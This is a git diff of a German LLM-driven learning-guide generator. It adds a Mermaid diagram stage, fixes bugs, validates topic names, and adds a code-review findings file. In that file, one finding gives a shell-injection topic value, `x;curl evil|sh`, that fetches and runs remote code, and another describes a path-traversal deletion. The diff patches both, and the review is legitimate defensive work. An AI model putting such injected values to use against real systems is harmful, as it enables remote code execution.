diff --git a/DESIGN.md b/DESIGN.md index 42cdd73..931de23 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -23,8 +23,11 @@ E2 Artefakte je Soll-Punkt-Gruppe: Flashcards+Beispiel pro Atom → Verify-Pane E3 Struktur Lernziele+Zuordnung aus Atomen (je Soll-Punkt) → Ziel-Check → Kanten auflösen → Zyklen brechen (Judge) → Bausteine = Ziel-Gruppen im Band (split/merge) → topologische Ordnung (Bausteine + Atome darin) -E4 Guide je Baustein: Writer (Facts inline, Atom-Marker) → det. Checks → Prüfer → Fix - Assembly in Baustein-Ordnung +E3.5 Diagramme je Baustein: planen (welche+Typ: DAG-deterministisch | Judge) → Spec-JSON + (LLM, kein rohes Mermaid) → deterministisch → Mermaid → Parse-Gate → + Grounding-Panel. Optional; Platzierung macht der Guide-Writer per Marker. +E4 Guide je Baustein: Writer (Facts inline, Atom-Marker, ``) + → det. Checks → Prüfer → Fix; Assembly tauscht Marker gegen ```mermaid-Fence ``` Jede Ebene endet mit `qa.messen(ebene)`; `auto_loop` fährt QA→Repair bis Note 10,0, @@ -43,6 +46,7 @@ Stillstand oder 10 Iterationen. Erst dann startet die nächste Ebene. - `artefakte(id, atom_id, typ flashcard|beispiel, inhalt JSON, status kandidat|verifiziert|verworfen)` - `lernziele(id, topic, text, soll_id, status)` - `bausteine(id, topic, ziel_id, titel, ord, status)` +- `diagramme(id, topic, baustein_id, typ, quelle dag|llm, spec JSON, mermaid, status geplant|kandidat|verifiziert|verworfen|kein, befunde JSON)` - `sections(baustein_id, stage, text_kompakt, text_lang, befunde JSON)` - `leitner(artefakt_id, box, faellig, historie)` - `befunde(run_id, ebene, art, item, detail, status offen|repariert|freigesprochen)` diff --git a/Dockerfile b/Dockerfile index 1d72f73..8a3d3ba 100644 --- a/Dockerfile +++ b/Dockerfile @@ -29,8 +29,9 @@ RUN pip install --no-cache-dir torch --index-url https://download.pytorch.org/wh && pip install --no-cache-dir -r /app/backend/requirements.txt COPY --chown=app:app backend/ /app/backend/ -# katex fürs Parse-Gate (backend/katex_check.mjs prüft Formeln vor dem Speichern) -RUN cd /app/backend && npm install --no-audit --no-fund katex && chown -R app:app node_modules +# katex + mermaid (+ jsdom fürs headless-DOM, das Mermaid zum Parsen braucht) fürs +# Parse-Gate (backend/{katex,mermaid}_check.mjs prüfen mit dem echten Renderer) +RUN cd /app/backend && npm install --no-audit --no-fund katex mermaid jsdom && chown -R app:app node_modules COPY --chown=app:app templates/ /app/templates/ COPY --chown=app:app --from=frontend /build/dist /app/frontend/dist COPY --chown=app:app dev-ops/opencode.json /home/app/.config/opencode/opencode.json diff --git a/Makefile b/Makefile index e92683b..5221ce9 100644 --- a/Makefile +++ b/Makefile @@ -37,17 +37,17 @@ REMOTE = /var/www/creator2 server-push: @[ -n "$(TOPIC)" ] || { echo "Nutzung: make server-push TOPIC="; exit 1; } - cd backend && python3 transfer.py export "$(TOPIC)" > /tmp/creator2-transfer.json + cd backend && python3 transfer.py export '$(TOPIC)' > /tmp/creator2-transfer.json ssh $(SERVER) 'cd $(REMOTE) && docker compose run --rm --no-deps -T creator2 python3 transfer.py import' < /tmp/creator2-transfer.json @# Dateien NACH dem Import — topic_loeschen räumt den Korpus-Ordner der Zielseite - @[ ! -d storage/korpus/$(TOPIC) ] || rsync -az --delete --mkpath --chown=1000:1000 storage/korpus/$(TOPIC)/ $(SERVER):$(REMOTE)/storage/korpus/$(TOPIC)/ - @[ ! -d topics/$(TOPIC) ] || rsync -az --delete --mkpath --chown=1000:1000 topics/$(TOPIC)/ $(SERVER):$(REMOTE)/topics/$(TOPIC)/ + @[ ! -d 'storage/korpus/$(TOPIC)' ] || rsync -az --delete --mkpath --chown=1000:1000 'storage/korpus/$(TOPIC)/' '$(SERVER):$(REMOTE)/storage/korpus/$(TOPIC)/' + @[ ! -d 'topics/$(TOPIC)' ] || rsync -az --delete --mkpath --chown=1000:1000 'topics/$(TOPIC)/' '$(SERVER):$(REMOTE)/topics/$(TOPIC)/' @echo "Push fertig: $(TOPIC) → Server." server-pull: @[ -n "$(TOPIC)" ] || { echo "Nutzung: make server-pull TOPIC="; exit 1; } - ssh $(SERVER) 'cd $(REMOTE) && docker compose run --rm --no-deps -T creator2 python3 transfer.py export $(TOPIC)' > /tmp/creator2-transfer.json + ssh $(SERVER) "cd $(REMOTE) && docker compose run --rm --no-deps -T creator2 python3 transfer.py export '$(TOPIC)'" > /tmp/creator2-transfer.json cd backend && python3 transfer.py import < /tmp/creator2-transfer.json - @ssh $(SERVER) '[ ! -d $(REMOTE)/storage/korpus/$(TOPIC) ]' || rsync -az --delete --mkpath $(SERVER):$(REMOTE)/storage/korpus/$(TOPIC)/ storage/korpus/$(TOPIC)/ - @ssh $(SERVER) '[ ! -d $(REMOTE)/topics/$(TOPIC) ]' || rsync -az --delete --mkpath $(SERVER):$(REMOTE)/topics/$(TOPIC)/ topics/$(TOPIC)/ + @ssh $(SERVER) "[ ! -d '$(REMOTE)/storage/korpus/$(TOPIC)' ]" || rsync -az --delete --mkpath "$(SERVER):$(REMOTE)/storage/korpus/$(TOPIC)/" 'storage/korpus/$(TOPIC)/' + @ssh $(SERVER) "[ ! -d '$(REMOTE)/topics/$(TOPIC)' ]" || rsync -az --delete --mkpath "$(SERVER):$(REMOTE)/topics/$(TOPIC)/" 'topics/$(TOPIC)/' @echo "Pull fertig: $(TOPIC) ← Server." diff --git a/REVIEW.md b/REVIEW.md new file mode 100644 index 0000000..3c2295b --- /dev/null +++ b/REVIEW.md @@ -0,0 +1,146 @@ +# Review-Befunde 2026-07-12 + +Gründliche Prüfung durch 5 parallele Reviews (E0/E1, E2/E3, E4+QA-Loop, Infra, Frontend). +Alle Hoch-Funde am Code nachverifiziert. Zeilennummern = Stand Arbeitskopie. + +## Hoch + +1. **pipeline.py:104 / main.py:93 — Pfad-Traversal beim Topic-Namen.** + `topic_anlegen` prüft nur „nicht leer“. Name `..` → `DELETE /api/topics/..` läuft in + `shutil.rmtree(KORPUS_DIR / topic)` → löscht `storage/` komplett inkl. SQLite-DB. + Namen mit `/` schreiben Snapshots außerhalb von `storage/korpus/`. + +2. **main.py:180 + Makefile:43 — Shell-Injektion über Transfer.** + `make server-push TOPIC=` interpoliert den Namen unquotiert in Shell-Rezepte + (rsync/ssh-Zeilen). Topic `x;curl evil|sh` → Kommando-Ausführung. + +3. **inventar.py:44 — Resume verliert Quell-Abschnitte still.** + Pause/Budget-Stopp mitten in der Extraktion: einige Reader haben schon Atome verankert. + Beim Resume greift der Idempotenz-Guard (`schon and not force`) und setzt die Quelle + auf `atome` — die restlichen Abschnitte werden nie gelesen. QA merkt es nur, wenn ein + ganzer Soll-Punkt leer bleibt. + +4. **artefakte.py:49 — `nur_ohne`-Filter blockiert Flashcard-Nachgenerierung.** + Filter = „hat irgendein lebendes Artefakt“. Atom mit lebendem Beispiel, aber ohne + Flashcard wird nie nachgeneriert → Invariante „≥1 verifizierte Flashcard“ unerfüllbar, + `atom_ohne_flashcard` bleibt offen, Loop dreht 10 wirkungslose Iterationen. + +5. **guide.py:295 — Mathe-Checks laufen über Marker-Zeilen.** + `_mathe_auftraege(lang, …)` bekommt den ungestrippten Text (nur `_stil_auftraege` + strippt Marker). Atom-Titel wie `a_n` oder `A*-Suche` im Marker erzeugen Aufträge, + die der Fix nie beheben darf (Marker sind unantastbar) → unfixierbarer `det_check` + in jeder QA-Runde, Note bleibt <10, Loop brennt bis Limit. + +6. **qa.py:68 — Befund-Dedup verliert Details.** + `_persistieren` dedupliziert über `(art, item)` ohne `detail`. Mehrere `det_check`- + Befunde derselben Section kollabieren: alte (schon behobene) Details bleiben „offen“, + neue Details werden nie eingefügt → der Fix bekommt veraltete Aufträge, Konvergenz + scheitert. + +7. **agents.py:257 — CLI-Prozess-Leak bei Cancellation.** + `_spawn` killt nur bei `TimeoutError`. Der Hedge (llm.py:71) cancelt den Verlierer-Task: + `CancelledError` trifft `communicate()`, kein Kill, und das `finally` entfernt den + Prozess aus `_prozesse` → Zombie-Prozess rechnet weiter, Tokens ohne Ledger-Zeile, + für Stop/Pause unerreichbar. + +8. **guide.py:380 — gescheiterte Fixes passieren das Gate.** + Nach Fix-Fehlschlag bleiben die Aufträge in `sections.befunde`, aber niemand außer + `_stage_fix` liest diese Spalte — entgegen dem Kommentar „die Ebenen-QA muss sie + sehen“. Kritische Coverage-Lücken (z. B. „Atom-Inhalt fehlt“) können mit Note 10,0 + fertig gemeldet werden. + +9. **Guide.vue:54/124 — Level-Toggle-Sackgasse.** + `levels` zählt Kapitel-Level unabhängig vom Section-Inhalt; `anzeige` filtert leere + Sections weg; bei `anzeige.length === 0` verschwindet die Nav samt Toggle. + Mitten in E4 (M-Kapitel ohne Text): Toggle E→M → „Noch kein Guide generiert“, + kein Weg zurück außer Reload. + +## Mittel + +### Budget / Ledger / Nebenläufigkeit +- **llm.py:63** — Hedge-Zwilling: nur die Tokens des Gewinners landen in `events`/Budget. + Verlierer-Tokens (bis 32k) unsichtbar. Verletzt „jeder Call → Ledger-Zeile“. +- **llm.py:65** — Timeout des Haupt-Calls bricht die Hedge-Schleife ab und cancelt den + fast fertigen Zwilling → Call zählt als infra, obwohl der Hedge geliefert hätte. +- **llm.py:120** — Budget wird nur nach Call-Ende geprüft, nie vor Start: parallele + Wellen überschreiten das „harte“ Limit um in-flight × Call-Tokens. +- **llm.py:155 `panel`, struktur.py:77, guide.py:426/434/579, artefakte.py:144** — + bare `asyncio.gather` statt `llm.alle`: bei LaufPause/Budget laufen Geschwister-Tasks + weiter, schreiben Zustand und ziehen Tokens (genau der in llm.py dokumentierte Hazard). +- **agents.py:161** — API-Pfad prüft nach `_api_slot()` keinen Abbruch: pausierte Läufe + feuern wartende API-Calls trotzdem ab. +- **agents.py:311** — opencode-Timeout: Tokens wurden erzeugt, aber mit 0 geloggt. + +### Panels / destruktive Entscheide (fail-open statt fail-closed) +- **inventar.py:474/499** — `_soll_stichentscheid`/`_luecke_schliessen`: eine einzelne + überlebende Panel-Stimme gilt als „einstimmig“ → Atom verworfen / Soll freigesprochen + auf Basis EINES Richters (chunk_urteil macht es richtig). +- **inventar.py:456** — `_anker_fixen_batch` verwirft Atome auch dann, wenn der + zuständige Batch-Call ausfiel (None ≠ negatives Urteil). +- **artefakte.py:130** — Re-Verify nach Fix: unparsbare Antwort / ausgelassene id → + Artefakt endgültig verworfen (Panel-Ausfall behält, Fix-Ausfall vernichtet). + +### Korpus / Soll +- **korpus.py:270 + 406** — `_konsens` löscht bestätigte Zeilen und baut aus Kandidaten + neu: nachgesuchte Belege und der `geprueft`-Negativ-Cache gehen verloren → bezahlte + Beleg-Judges wiederholen sich. +- **korpus.py:368/388** — Judge sieht nur `text[:40k]`, Nicht-Fund wird aber für die + GANZE Quelle als `geprueft` verbucht → Belege jenseits 40k dauerhaft unauffindbar, + Punkt wird ggf. fälschlich degradiert. +- **korpus.py:161** — Soll-Extraktion hat nur Quellen-Granularität: Pause zwischen + Chunks → Resume extrahiert alles neu → doppelte Kandidaten blähen das √n-Band auf. +- **korpus.py:333/416** — uni-Topics ohne bestätigten Soll-Punkt: kein Repair-Pfad für + `soll_leer`, Pipeline setzt trotzdem `korpus_fertig` → E1 verwirft Atome kaskadenartig. + +### Struktur +- **struktur.py:251** — Split schneidet `ceil`-Chunks: 43 Atome → Teile 8,8,8,8,8,3; + letzter Teil kann Band 4–8 verletzen, Repair reproduziert identisch → Befund ewig offen. +- **struktur.py:479** — `band`-Partnerprüfung misst gegen POST-Split-Bausteine, der + Merge lief aber PRE-Split → QA fordert eine Latte, die der Schnitt nicht erreichen kann. + +### Guide / QA-Loop +- **guide.py:553** — `qa_hash` wird vor der Fachlich-falsch-Prüfung persistiert: + scheitert der Verdachts-Call, gilt die Section dauerhaft als geprüft (fail-open). +- **guide.py:544** — `offene_falsch` ist run-gescoped, `qa_hash` nicht: nach Pause/Resume + verschwinden bestätigte Fakten-Fehler aus der QA. +- **guide.py:596** — KRITISCH-Routing wirft das Befund-Detail weg: der bestätigte Claim + erreicht weder Prüfer noch Fix → Ping-Pong bis Limit. +- **guide.py:607 + auto_loop.py:24** — `bewegt = bool(betroffen)`: Guide-Ebene meldet + immer „bewegt“ → Stillstands-Erkennung unerreichbar, Loop läuft immer bis 10. +- **guide.py:265/329** — Vorwärtsverweis: Auftrag erlaubt „erklären“, Detektor prüft + nur Titel-Präsenz → instruktionskonformer Fix schließt den Befund nie. +- **guide.py:190** — Englisch-Heuristik: deutsche Homographen („an“, „will“, „not“), + Schwelle 15 % ab 12 Tokens → deutsche Sätze werden als „englische Passage“ geflaggt, + Auftrag unerfüllbar. + +### Frontend +- **api.js:13** — Topic-Namen ohne `encodeURIComponent` in URL-Pfaden: `#`/`/` im Namen + → Topic per UI unbenutzbar und unlöschbar. +- **Guide.vue:19** — `laden()` ohne Out-of-order-Schutz: langsame Antwort von Topic A + überschreibt die Anzeige von Topic B. +- **Guide.vue:77** — Level-/Ansicht-Wechsel resettet Scrollposition nicht: Viewport + landet in Platzhalter-Divs, Seite wirkt leer. +- **api.js:51** — WS-Cleanup entfernt `onclose` nicht: Zombie-Reconnect nach 2 s, + doppelte State-Loads (v. a. bei Vite-HMR). +- **Ueben.vue:19** — Doppelklick auf „Richtig“: Karte doppelt gePOSTet (Leitner-Box + springt 2 Stufen), Folgekarte fällt still aus dem Stapel. + +## Niedrig (Auswahl) + +- **pipeline.py:63 u. a.** — `runs.beendet='jetzt'` (Literal-String statt Timestamp). +- **ledger.py:58** — Kennzahlen zählen `status='timeout'`, llm schreibt aber `infra` → Spalte konstant 0. +- **config.py:13** — `CREATOR_DB` wird vor `_load_env()` gelesen: .env-Wert wirkungslos. +- **jsonx.py:14** — nur der ERSTE Code-Fence wird geparst; JSON nach einem Prosa-Fence geht verloren. +- **transfer.py:122** — `sections.befunde` (Fix-Aufträge mit Atom-IDs) wird beim Import nicht remapped. +- **ws.py:31** — jeder Push spawnt eigenen Send-Task: Out-of-order-Deltas, parallele `send_text`. +- **inventar.py:493** — Lücken-„Runden“ zählen Ledger-Events: Retries + Alt-Läufe zählen mit → Abbruch zu früh. +- **inventar.py:147** — Anker-Dedup: geerbte Anker im selben Pass nicht berücksichtigt → transitive Dublette überlebt. +- **inventar.py:352** — `quelle_unvollstaendig`-Repair meldet immer True → Stillstand nie erkannt. +- **guide.py:53** — `_MARKER_VOLL` bricht bei `>` im Atom-Titel. +- **guide.py:449** — `_pruefe_dich` matcht Frage per Substring: Umformulierung durch Fix → Antwort fehlt still. +- **guide.py:461** — Bausteine ohne Kapitel: NULL-Gruppen erben Level des ersten Bausteins, doppelte `null`-Keys in Vue. +- **struktur.py:77 / artefakte.py:144** — s. gather-Sammelpunkt oben. +- **markdown.js:57** — `lesestat` ignoriert `\[…\]`-Formeln → Lesezeit falsch. +- **style.css:225** — KaTeX-Overflow-Regeln fehlen für die Kompakt-Ansicht (mobil). +- **Kennzahlen.vue:8** — Topic-Wechsel ohne Lauf: alte Daten bleiben stehen. +- **App.vue:93 / Board.vue:99** — `stoppen()`/Menü-Aktionen ohne try/catch: Fehler unsichtbar. diff --git a/backend/agents.py b/backend/agents.py index 7bf9acd..5626d49 100644 --- a/backend/agents.py +++ b/backend/agents.py @@ -159,7 +159,10 @@ async def run_agent(key: str, prompt: str, timeout: int, *, provider: str, _active[key] = time.time() try: if use_api: - await _api_slot(key) + await _api_slot(key) # belegt _api_inflight — bei Abbruch freigeben + if _ist_abgebrochen(key): + _api_inflight -= 1 + return AgentErgebnis(1, "", "abgebrochen") wait_s = time.time() - warte_start try: res = await _text_api(key, prompt, timeout, model, role) @@ -171,6 +174,8 @@ async def run_agent(key: str, prompt: str, timeout: int, *, provider: str, res.model = model return res await _drossel_warten(key) + if _ist_abgebrochen(key): # Nachzügler nach dem Cooldown nicht mehr feuern + return AgentErgebnis(1, "", "abgebrochen") wait_s = time.time() - warte_start if PROVIDERS[provider]["cli"] == "opencode": res = await _opencode(key, prompt, timeout, model, capabilities) @@ -255,11 +260,13 @@ async def _spawn(key: str, cmd: list[str], stdin_data: bytes | None, timeout: in try: try: stdout, stderr = await asyncio.wait_for(process.communicate(input=stdin_data), timeout=timeout) - except asyncio.TimeoutError: + except (asyncio.TimeoutError, asyncio.CancelledError): + # Timeout ODER Cancel (Hedge-Verlierer, LaufPause) → Prozess killen, + # sonst rechnet ein verwaister CLI-Prozess unsichtbar weiter _kill(process) try: await asyncio.wait_for(process.wait(), timeout=5) - except asyncio.TimeoutError: + except (asyncio.TimeoutError, asyncio.CancelledError): pass raise log.info("agent %s: exit %s nach %.1fs", key, process.returncode, time.monotonic() - start) @@ -308,7 +315,14 @@ async def _opencode(key: str, prompt: str, timeout: int, model: str, capabilitie "-m", model, "--agent", _OPENCODE_AGENTS.get(capabilities, "text"), "--dangerously-skip-permissions", "--title", key, "-f", str(pfad)] try: - res = await _spawn(key, cmd, None, timeout) + try: + res = await _spawn(key, cmd, None, timeout) + except asyncio.TimeoutError: + # Timeout heißt nicht 0 Tokens — die Session hat oft schon zigtausend + # erzeugt. Als infra (err="timeout") mit echten Tokens zurückgeben, + # damit Budget/Ledger stimmen. CancelledError NICHT fangen (Hedge). + tokens = await asyncio.to_thread(_opencode_tokens, key) + return AgentErgebnis(1, "", "timeout", tokens or {}) res.text = _clean_opencode(res.text) res.tokens = await asyncio.to_thread(_opencode_tokens, key) or {} return res diff --git a/backend/artefakte.py b/backend/artefakte.py index f739ba7..e213628 100644 --- a/backend/artefakte.py +++ b/backend/artefakte.py @@ -44,11 +44,12 @@ def _chunks(topic: str, nur_ohne: bool) -> list[list[dict]]: atome = db.query("SELECT * FROM atome WHERE topic=? AND status NOT IN" " ('gemerged','verworfen') ORDER BY soll_id, id", (topic,)) if nur_ohne: - # verworfene zählen nicht — sonst kann der Repair nach Verwurf nie - # nachgenerieren (Lauf 8: 5 Atome blieben dauerhaft ohne Flashcard) + # Die echte Invariante ist „≥1 lebende FLASHCARD" (Beispiel zählt nicht). + # Prüfte man „irgendein lebendes Artefakt", blockierte ein überlebendes + # Beispiel die Flashcard-Nachgenerierung dauerhaft (Lauf 8: 5 Atome ohne). atome = [a for a in atome if not db.one( - "SELECT id FROM artefakte WHERE atom_id=? AND status!='verworfen'" - " LIMIT 1", (a["id"],))] + "SELECT id FROM artefakte WHERE atom_id=? AND typ='flashcard'" + " AND status!='verworfen' LIMIT 1", (a["id"],))] gruppen: dict = {} for a in atome: gruppen.setdefault(a["soll_id"], []).append(a) @@ -74,6 +75,12 @@ async def _generieren(ctx: llm.Kontext, chunk: list[dict]) -> None: if _referenziert_quelle(inhalt): log.info("Artefakt zu Atom %s nicht übernommen: referenziert die Quelle", atom_id) continue + # Nachgenerierung (nur_ohne) läuft auch, wenn nur die Flashcard fehlt — + # dann kein zweites Beispiel anlegen (Verify-Tokens/Leitner-Dubletten). + if typ == "beispiel" and db.one( + "SELECT id FROM artefakte WHERE atom_id=? AND typ='beispiel'" + " AND status!='verworfen' LIMIT 1", (atom_id,)): + continue db.insert("artefakte", atom_id=atom_id, typ=typ, inhalt=db.j(inhalt), status="kandidat") @@ -133,17 +140,23 @@ async def _fixen(ctx: llm.Kontext, k: dict, maengel: list[str], atom: dict) -> N f" {k['typ']}): {db.j(res) if res else k['inhalt']}\n" f"Belege:\n{_zitate(k['atom_id'])}"}, erwartet=list) - ok = any(isinstance(e, dict) and e.get("artefakt") == k["id"] and e.get("ok") - for e in urteil or []) - db.update("artefakte", "id", k["id"], status="verifiziert" if ok else "verworfen") + # Verwerfen nur bei EXPLIZITEM Negativurteil. Call-Ausfall (urteil None) oder + # ausgelassene id → kein Entscheid, Kandidat bleibt (messen meldet unentschieden, + # nächste Runde prüft per Panel neu) — sonst fail-open destruktiv. + eintrag = next((e for e in (urteil or []) + if isinstance(e, dict) and e.get("artefakt") == k["id"]), None) + if eintrag is None: + return + db.update("artefakte", "id", k["id"], + status="verifiziert" if eintrag.get("ok") else "verworfen") async def bauen(ctx: llm.Kontext) -> None: ctx.ebene = EBENE neu = _chunks(ctx.topic, nur_ohne=True) - await asyncio.gather(*(_generieren(ctx, c) for c in neu)) + await llm.alle(_generieren(ctx, c) for c in neu) alle = _chunks(ctx.topic, nur_ohne=False) - await asyncio.gather(*(_verifizieren(ctx, c) for c in alle)) + await llm.alle(_verifizieren(ctx, c) for c in alle) def messen(ctx: llm.Kontext) -> list[dict]: diff --git a/backend/config.py b/backend/config.py index ea92bd9..5b52434 100644 --- a/backend/config.py +++ b/backend/config.py @@ -10,7 +10,6 @@ STORAGE_DIR = PROJECT_ROOT / "storage" TOPICS_DIR = PROJECT_ROOT / "topics" # Uni-Quelldateien: topics//*.txt|md|pdf KORPUS_DIR = STORAGE_DIR / "korpus" # Snapshots: korpus//q.md FRONTEND_DIST = PROJECT_ROOT / "frontend" / "dist" -DB_PATH = STORAGE_DIR / os.getenv("CREATOR_DB", "creator2.db") # Override für Smoke-Läufe def _load_env(path: Path) -> None: @@ -32,6 +31,23 @@ def _load_env(path: Path) -> None: _load_env(PROJECT_ROOT / ".env") +# NACH _load_env lesen — sonst ist ein in .env gesetztes CREATOR_DB wirkungslos +# (der Loader-Kommentar verspricht „die Datei gewinnt"). +DB_PATH = STORAGE_DIR / os.getenv("CREATOR_DB", "creator2.db") # Override für Smoke-Läufe + +# ── Topic-Namen ─────────────────────────────────────────────────────────────── +import re as _re + +# Erstes Zeichen alphanumerisch (kein führendes „-" = rsync/CLI-Option), danach +# nur Wortzeichen/Umlaute/- /_. Kein „.", kein „/" → sicher als Pfadkomponente +# (rmtree, Snapshot-Ordner) UND als Shell-Argument (Transfer-Makefile). +TOPIC_NAME_RE = _re.compile(r"^[A-Za-z0-9äöüÄÖÜß][\wäöüÄÖÜß-]{0,63}$") + + +def topic_name_ok(name: str) -> bool: + return bool(name) and TOPIC_NAME_RE.match(name) is not None + + # ── Nebenläufigkeit ─────────────────────────────────────────────────────────── MAX_CONCURRENT_AGENTS = int(os.getenv("MAX_CONCURRENT_AGENTS", "16")) # CLI-Prozesse (~310 MB RSS) MAX_CONCURRENT_API_AGENTS = int(os.getenv("MAX_CONCURRENT_API_AGENTS", "28")) # direkte API, ~0 RAM @@ -86,6 +102,10 @@ BAUSTEIN_MAX_ATOME = 8 ZIELE_CHUNK_ATOME = 30 # Atome pro Lernziel-Call KAPITEL_BAUSTEINE = 5 # Richtwert Bausteine je Kapitel (Kapitel-Schnitt-Judge) +# ── Ebene 3.5: Diagramme ────────────────────────────────────────────────────── +DIAGRAMM_MIN_KANTEN = 3 # ab so vielen internen braucht-Kanten → Abhängigkeitsdiagramm +DIAGRAMM_TYPEN = ("dependency", "state", "flow", "tree") + # ── Ebene 4: Guide ──────────────────────────────────────────────────────────── SECTION_WOERTER_PRO_ATOM = (40, 220) # Längenband ausführlicher Teil je Atom @@ -111,6 +131,9 @@ TIMEOUTS = { "writer": (450, 60), "pruefer": (600, 5), "qa_judge": (600, 0), + "diagramm_plan": (200, 0), + "diagramm_spec": (300, 0), + "diagramm_verify": (200, 5), } diff --git a/backend/db.py b/backend/db.py index 77c21f2..c883e34 100644 --- a/backend/db.py +++ b/backend/db.py @@ -62,7 +62,7 @@ CREATE TABLE IF NOT EXISTS quellen( id INTEGER PRIMARY KEY, topic TEXT NOT NULL, art TEXT NOT NULL CHECK(art IN ('web','datei')), titel TEXT NOT NULL, url TEXT DEFAULT '', snapshot TEXT NOT NULL, hash TEXT DEFAULT '', runde INTEGER DEFAULT 0, status TEXT NOT NULL DEFAULT 'neu', - rolle TEXT NOT NULL DEFAULT 'stoff'); + rolle TEXT NOT NULL DEFAULT 'stoff', atome_stand TEXT NOT NULL DEFAULT ''); CREATE TABLE IF NOT EXISTS soll( id INTEGER PRIMARY KEY, topic TEXT NOT NULL, punkt TEXT NOT NULL, status TEXT NOT NULL DEFAULT 'kandidat', belege TEXT NOT NULL DEFAULT '[]', @@ -96,6 +96,12 @@ CREATE TABLE IF NOT EXISTS kapitel( id INTEGER PRIMARY KEY, topic TEXT NOT NULL, titel TEXT NOT NULL, intro TEXT NOT NULL DEFAULT '', ord INTEGER DEFAULT 0, art TEXT NOT NULL DEFAULT 'judge', level TEXT NOT NULL DEFAULT 'M'); +CREATE TABLE IF NOT EXISTS diagramme( + id INTEGER PRIMARY KEY, topic TEXT NOT NULL, baustein_id INTEGER NOT NULL, + typ TEXT NOT NULL, quelle TEXT NOT NULL DEFAULT 'dag', + spec TEXT NOT NULL DEFAULT '{}', mermaid TEXT NOT NULL DEFAULT '', + status TEXT NOT NULL DEFAULT 'geplant', befunde TEXT NOT NULL DEFAULT '[]'); +CREATE INDEX IF NOT EXISTS idx_diagramme_baustein ON diagramme(baustein_id); CREATE TABLE IF NOT EXISTS sections( baustein_id INTEGER PRIMARY KEY, stage TEXT NOT NULL DEFAULT 'writer', text_kompakt TEXT DEFAULT '', text_lang TEXT DEFAULT '', befunde TEXT DEFAULT '[]', @@ -110,7 +116,7 @@ CREATE TABLE IF NOT EXISTS befunde( # Tabellen, deren Änderungen das Live-Board interessieren. _LIVE_TABELLEN = {"topics", "runs", "quellen", "soll", "atome", "artefakte", - "lernziele", "bausteine", "kapitel", "sections", "befunde"} + "lernziele", "bausteine", "kapitel", "sections", "befunde", "diagramme"} def _init_schema(con: sqlite3.Connection) -> None: @@ -126,7 +132,8 @@ def _init_schema(con: sqlite3.Connection) -> None: "ALTER TABLE kapitel ADD COLUMN art TEXT NOT NULL DEFAULT 'judge'", "ALTER TABLE bausteine ADD COLUMN level TEXT NOT NULL DEFAULT 'M'", "ALTER TABLE kapitel ADD COLUMN level TEXT NOT NULL DEFAULT 'M'", - "ALTER TABLE soll ADD COLUMN geprueft TEXT NOT NULL DEFAULT '[]'"): + "ALTER TABLE soll ADD COLUMN geprueft TEXT NOT NULL DEFAULT '[]'", + "ALTER TABLE quellen ADD COLUMN atome_stand TEXT NOT NULL DEFAULT ''"): try: con.execute(zusatz) except sqlite3.OperationalError: @@ -181,6 +188,14 @@ def update(tabelle: str, id_feld: str, id_wert, **felder) -> None: _notify(tabelle, {id_feld: id_wert, **felder}) +def now() -> str: + """UTC-Zeitstempel im SQLite-datetime('now')-Format (wie runs.gestartet). + Für Timestamp-Spalten — der Literal-String „jetzt" landete sonst als Müll + in runs.beendet und machte jede Dauer-Query unbrauchbar.""" + import time + return time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime()) + + def j(obj) -> str: return json.dumps(obj, ensure_ascii=False) diff --git a/backend/diagramme.py b/backend/diagramme.py new file mode 100644 index 0000000..b78ba31 --- /dev/null +++ b/backend/diagramme.py @@ -0,0 +1,304 @@ +"""Ebene 3.5: Diagramme. Pro Baustein ein Mermaid-Diagramm, wenn es Struktur oder +Prozess sichtbar macht (Multimedia-Prinzip: instruktive Bilder heben Transfer, +Deko schadet). Zuverlässigkeits-Prinzip: der LLM liefert NIE rohes Mermaid, nur +Struktur-JSON; Python kompiliert deterministisch; ein Parse-Gate (mermaid_check.mjs) +ist das Sicherheitsnetz. Abhängigkeitsdiagramme kommen direkt aus dem braucht-DAG, +ganz ohne LLM — korrekt per Konstruktion, null Halluzination. + +Phasen von bauen(): planen (welche + Typ) → Spec (nur LLM-Zweig) → kompilieren → +Gate → verifizieren (Grounding). Platziert werden Diagramme erst im Guide-Writer +(E4) über ``; das Assembly tauscht den Marker gegen den Fence.""" + +import json +import logging +import os +import re +import subprocess +from pathlib import Path + +import db +import llm +from config import DIAGRAMM_MIN_KANTEN, DIAGRAMM_TYPEN, DURCHGANG, VERIFY_PANEL + +log = logging.getLogger("creator2.diagramme") + +EBENE = "diagramme" + +_MERMAID_SKRIPT = Path(__file__).resolve().parent / "mermaid_check.mjs" +_MERMAID_BASE = Path(__file__).resolve().parent.parent / "frontend" +_mermaid_gewarnt = False + + +def _mermaid_fehler(diagramme: list[dict]) -> dict[int, str]: + """Parse-Gate: Diagramme durch DENSELBEN Parser wie das Frontend jagen (Zwilling + zu guide._katex_fehler). → {id: fehlermeldung} nur der fehlerhaften. Fake-Modus + überspringt (deterministisch); fail-open MIT Warnung, wenn node/mermaid fehlt.""" + global _mermaid_gewarnt + if not diagramme or os.getenv("CREATOR_FAKE_AGENTS"): + return {} + try: + res = subprocess.run( + ["node", str(_MERMAID_SKRIPT)], + input=json.dumps([{"id": d["id"], "code": d["mermaid"]} for d in diagramme]), + capture_output=True, text=True, timeout=60, + env={**os.environ, "MERMAID_BASE": str(_MERMAID_BASE)}) + if res.returncode: + raise RuntimeError(res.stderr.strip()[:200]) + return {e["id"]: e["fehler"] for e in json.loads(res.stdout)} + except Exception as e: # nie fail-open OHNE Signal (Befund-Prinzip) + if not _mermaid_gewarnt: + _mermaid_gewarnt = True + log.warning("Mermaid-Gate nicht verfügbar (%s) — Diagramm-Validierung fällt aus", e) + return {} + + +def _bausteine(topic: str) -> list[dict]: + return db.query("SELECT * FROM bausteine WHERE topic=? ORDER BY ord", (topic,)) + + +def _atome_von(baustein_id: int) -> list[dict]: + return db.query("SELECT * FROM atome WHERE baustein_id=? AND status NOT IN" + " ('gemerged','verworfen') ORDER BY ord", (baustein_id,)) + + +def _interne_kanten(topic: str, ids: set[int]) -> list[dict]: + """aktive braucht-Kanten, deren BEIDE Enden im Baustein liegen.""" + if len(ids) < 2: + return [] + return [k for k in db.query( + "SELECT * FROM kanten WHERE topic=? AND art='braucht' AND status='aktiv'", (topic,)) + if k["von_atom"] in ids and k["zu_atom"] in ids] + + +# ── Spec (JSON-Zwischenrepräsentation) ──────────────────────────────────────── + +def _dag_spec(atome: list[dict], kanten: list[dict]) -> dict: + """Abhängigkeitsdiagramm direkt aus dem braucht-Graph. `von braucht zu` ⇒ Pfeil + zu→von (Voraussetzung 